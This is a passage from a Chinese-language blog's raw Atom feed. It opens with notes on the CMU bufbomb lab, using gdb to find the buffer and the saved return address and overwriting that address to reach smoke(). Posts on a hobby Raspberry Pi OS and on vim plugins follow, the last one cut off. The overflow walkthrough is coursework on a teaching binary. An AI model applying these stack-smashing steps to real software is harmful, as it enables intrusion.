author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&amp;gt;...&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Reading symbols from /home/auser/course-materials/lab3/bufbomb...done.&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;(gdb) b getbuf &amp;nbsp; &amp;nbsp; //設定斷點在getbuf&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Breakpoint 1 at 0x400da0: file bufbomb.c, line 132.&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;(gdb) r ./bufbomb -u 8257567 &amp;lt; exploit.bytes &amp;nbsp;//這個exploit.bytes先輸入一串1139 hex&amp;nbsp;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Breakpoint 1, getbuf () at bufbomb.c:132&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;132 &amp;nbsp; &amp;nbsp; {&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Missing separate debuginfos, use: debuginfo-install glibc-2.15-59.fc17.x86_64&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;(gdb) disas &amp;nbsp; //到斷點時停下來 看一下我看完呼叫到Gets後情況&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Dump of assembler code for function getbuf:&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;=&amp;gt; 0x0000000000400da0 &amp;lt;+0&amp;gt;: &amp;nbsp; &amp;nbsp; push &amp;nbsp; %rbp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp;0x0000000000400da1 &amp;lt;+1&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%rsp,%rbp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp;0x0000000000400da4 &amp;lt;+4&amp;gt;: &amp;nbsp; &amp;nbsp; sub &amp;nbsp; &amp;nbsp;$0x30,%rsp&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp;0x0000000000400da8 &amp;lt;+8&amp;gt;: &amp;nbsp; &amp;nbsp; lea &amp;nbsp; &amp;nbsp;-0x30(%rbp),%rdi&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp;0x0000000000400dac &amp;lt;+12&amp;gt;: &amp;nbsp; &amp;nbsp;callq &amp;nbsp;0x400cb0 &lt;gets&gt;&lt;/gets&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp; &amp;nbsp;0x0000000000400db1 &amp;lt;+17&amp;gt;: &amp;nbsp; &amp;nbsp;movabs $0xcccccccccccccccd,%rdx&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;=&amp;gt; (gdb) b *getbuf+17 重設斷點到getbuf+17處&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&amp;nbsp;continue&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Continuing.&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Breakpoint 2, getbuf () at bufbomb.c:137&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;137 &amp;nbsp; &amp;nbsp; &amp;nbsp; variable_length = alloca((val % 40) &amp;lt; 36 ? 36 : val % 40);&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;(gdb) info reg &amp;nbsp;// dump reg的情況這邊注意 rbp在0x7fffffffb3a0 &amp;nbsp;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;rax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x7fffffffb370 &amp;nbsp; 140737488335728&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;rbx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x3c0d7c17 &amp;nbsp; &amp;nbsp; &amp;nbsp; 1007516695&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;rcx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x25 &amp;nbsp; &amp;nbsp; 37&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;rdx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x3677fb2af0 &amp;nbsp; &amp;nbsp; 233941183216&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;rsi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xa &amp;nbsp; &amp;nbsp; &amp;nbsp;10&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;rdi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x3677fb1340 &amp;nbsp; &amp;nbsp; 233941177152&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;rbp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x7fffffffb3a0 &amp;nbsp; 0x7fffffffb3a0&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;最後這裡就很明顯了0x7fffffffb370 是buf的起始位置，我開始填入39 11這些數字， 0x7fffffffb3a0是rbp，而這&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&lt;b&gt;0x00400ef3&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt; &amp;nbsp; 是return address ，現在只要從0x7fffffffb370 把buf填爆，把&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&lt;b&gt;0x00400ef3&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt; &amp;nbsp;改成0x04010c0，這樣程式就會呼叫到smoke了。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;(gdb) x/50x 0x7fffffffb300&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb300: 0x77fb2ae0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000036 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x77fb1340 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000036&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb310: 0xffffb370 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00007fff &amp;nbsp; &amp;nbsp; &amp;nbsp;0x77c7860e &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000036&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb320: 0x77fb1340 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000036 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x77c73657 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000036&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb330: 0x3c0d7c17 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00400d50 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb340: 0x3c0d7c17 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xffffb3a0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00007fff&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb350: 0x00607f80 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xffffe440 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00007fff&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb360: 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00400db1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb370: 0x39393939 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x11113939 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x11111111 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000011&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb380: 0x00607f80 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x778148e5 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000036&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;0x7fffffffb390: 0x00002f20 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x77cba477 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000036&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;0x7fffffffb3a0: 0xffffb3d0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00007fff &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;&lt;b&gt;0x00400ef3&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;$ ./sendstring &amp;lt; smoke.txt &amp;gt; exploit.bytes&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;$ ./bufbomb -u 8257567 &amp;lt; exploit.bytes&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;下面是最後的結果。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;-bash-4.2$ ./bufbomb -u 8257567 &amp;lt; exploit.byte&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Username: 8257567&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;Type string: Smoke!: You called smoke()&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;code class=&quot;listtype-code listindent1 list-code1 lang-go&quot; spellcheck=&quot;false&quot;&gt;&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;Reference:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq&quot;&gt;x86的buffer overflow網站:&lt;/span&gt;&lt;span class=&quot; author-d-4z65zz66zl57z75zyiz66zfr2fz87zwz89znuj6z89zcxauz122z6lyk9z86zsn7z80zz84zx03z71znlz80zz80zqsq url&quot;&gt;&lt;a class=&quot;dynamiclink&quot; href=&quot;http://www.tenouk.com/Bufferoverflowc/Bufferoverflow1.html&quot; rel=&quot;noreferrer nofollow noopener&quot; target=&quot;_blank&quot;&gt;http://www.tenouk.com/Bufferoverflowc/Bufferoverflow1.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/4209399508392325782/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/4209399508392325782' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4209399508392325782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/4209399508392325782'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2016/10/cmu-buffer-overflow-attack.html' title='CMU buffer overflow attack作業筆記'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-1619163480381151925</id><published>2015-03-21T00:16:00.000+08:00</published><updated>2016-12-27T09:18:42.711+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>Raspberry Pi (ARMv6)上自幹一個微小作業系統</title><content type='html'>&amp;nbsp; &amp;nbsp; &amp;nbsp; 大約半年前，我加入fb的F9 based JuluOS與黃敬群老師(&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 18px;&quot;&gt;Jserv)&lt;/span&gt;&lt;/span&gt;成大嵌入式系統課程社團，我才發現原來台灣有那麼多人在研究作業系統開發，我也想試試開發一個小小的OS。&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;從0開始寫一個OS是相當有趣的過程，可以檢視自己對C、資料結構、作業系統、計算機組織的瞭解程度，誠實的面對自己，雖然自己在系統廠工作幾年了，還是很多基礎知識不足，也許這就是為什麼那麼多高手可以在ic design house，而我在系統廠吧，寫這個小OS，只是學習的開始，接下來我會多研究其它的OS，例如:xv6、F9 microkernel、freeRTOS...&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; 我把開發流程一步一步記錄，從bare metal Helloworld，加入printk，配置MMU， IRQ中斷，記憶體管理(Buddy system)，到最後加入system call、process fork與round robin scheduling，方便學習。&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;所有原始程式碼都放在github上:&amp;nbsp;&lt;a href=&quot;https://github.com/tzuCarlos/RaspberryPi&quot;&gt;https://github.com/tzuCarlos/RaspberryPi&lt;/a&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;我使用qmeu測試:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;這邊有執行的結果:&lt;a href=&quot;https://github.com/tzuCarlos/RaspberryPi/blob/master/mimiOS/RESULT&quot;&gt;https://github.com/tzuCarlos/RaspberryPi/blob/master/mimiOS/RESULT&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;系統說明:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 先拖稿一下，下班還要唸書，顧嬰兒很累的，改天有空補上一步步說明XD&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;未來工作:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;1.把ARM的架構跟ARM組合語言弄熟。&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;2.系統memory map我還沒好好規畫，只是想到做什麼功能，就找一塊出來。&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;3. 沒有檔案系統，沒有shell、沒有驅動程式構架。 &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;4. 寫個RTOS吧.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
推薦社群、blog、書藉:&lt;br /&gt;
1. F9 based JuluOS, https://www.facebook.com/groups/224024274384934/&lt;br /&gt;
2. 黃敬群老師(&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 18px;&quot;&gt;Jserv)&lt;/span&gt;&lt;/span&gt;成大課程，https://www.facebook.com/groups/ncku.embedded2015/&lt;br /&gt;
3. Benux Wei, 精簡版作業系統實戰: 自製OS用Qemu執, &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;http://ben6.blogspot.tw/2011/05/qemu.html&lt;br /&gt;
4.loda筆記, http://loda.hala01.com&lt;br /&gt;
5. 陳鐘誠老師的網站: http://ccckmit.wikidot.com&lt;br /&gt;
6. 作者:李無言, 一步步写嵌入式操作系统&lt;br /&gt;
7.&amp;nbsp;&amp;nbsp;Andrew Sloss (Author), Dominic Symes (Author), Chris Wright (Author), &quot;ARM System Developer&#39;s Guide: Designing and Optimizing System Software&quot;.&lt;br /&gt;
8. Randal E. Bryant, David R. O&#39;Hallaron, &quot;Computer Systems: A Programmer&#39;s Perspective&quot; (這是CMU教才，我目前主管是CMU博士畢業XD，相當推!)</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/1619163480381151925/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/1619163480381151925' title='6 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/1619163480381151925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/1619163480381151925'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2015/03/raspberry-pi.html' title='Raspberry Pi (ARMv6)上自幹一個微小作業系統'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-6955387953317849733</id><published>2015-02-15T14:46:00.002+08:00</published><updated>2015-02-15T16:42:06.441+08:00</updated><title type='text'>vim + cscope + ctags + nerdtree + taglist + SrcExpl+trinity, c ya source Insight.</title><content type='html'>&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp;Bought a MACbook air installed ubuntu+LXDE, time to say good bye to windows &amp;amp; source Insight.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;I tried eclipse to develop C about 1 month before, eclipse is nice tool to trace code, but somehow I still feel eclipse a bit laggy.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ5K6KN3VjLGWH6-JXRoixoJwepLrbo6fpRVGBWEDn8NkGP3E5I25_PHEAZlnsoxZQqxy6UUrmYMll5vxi87L2_Zve18qNIxDGI8quAYLKwFcp2J6BY0J68L9jmR_X0QqDE7GrGZ4w3zc/s1600/1456539_10203436507698148_2668549525339076503_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ5K6KN3VjLGWH6-JXRoixoJwepLrbo6fpRVGBWEDn8NkGP3E5I25_PHEAZlnsoxZQqxy6UUrmYMll5vxi87L2_Zve18qNIxDGI8quAYLKwFcp2J6BY0J68L9jmR_X0QqDE7GrGZ4w3zc/s1600/1456539_10203436507698148_2668549525339076503_n.jpg&quot; height=&quot;320&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Finally, I use VIM, because both of MAC OS X and Linux have VIM.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;ol style=&quot;border: 0px; color: #333333; font-size: 16px; letter-spacing: 0.20000000298023224px; line-height: 24px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 24px 4em; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;website:&amp;nbsp;&lt;a href=&quot;http://www.vim.org/scripts/script.php?script_id=1658&quot; style=&quot;border: 0px; color: #743399; margin: 0px; padding: 0px; vertical-align: baseline;&quot; target=&quot;_blank&quot; title=&quot;The NERD tree : A tree explorer plugin for navigating the filesystem&quot;&gt;The NERD tree : A tree explorer plugin for navigating the filesystem&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;download NERD_tree.zip&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;unzip NERD_tree.zip&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;mkdir -p ~/.vim/plugin&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
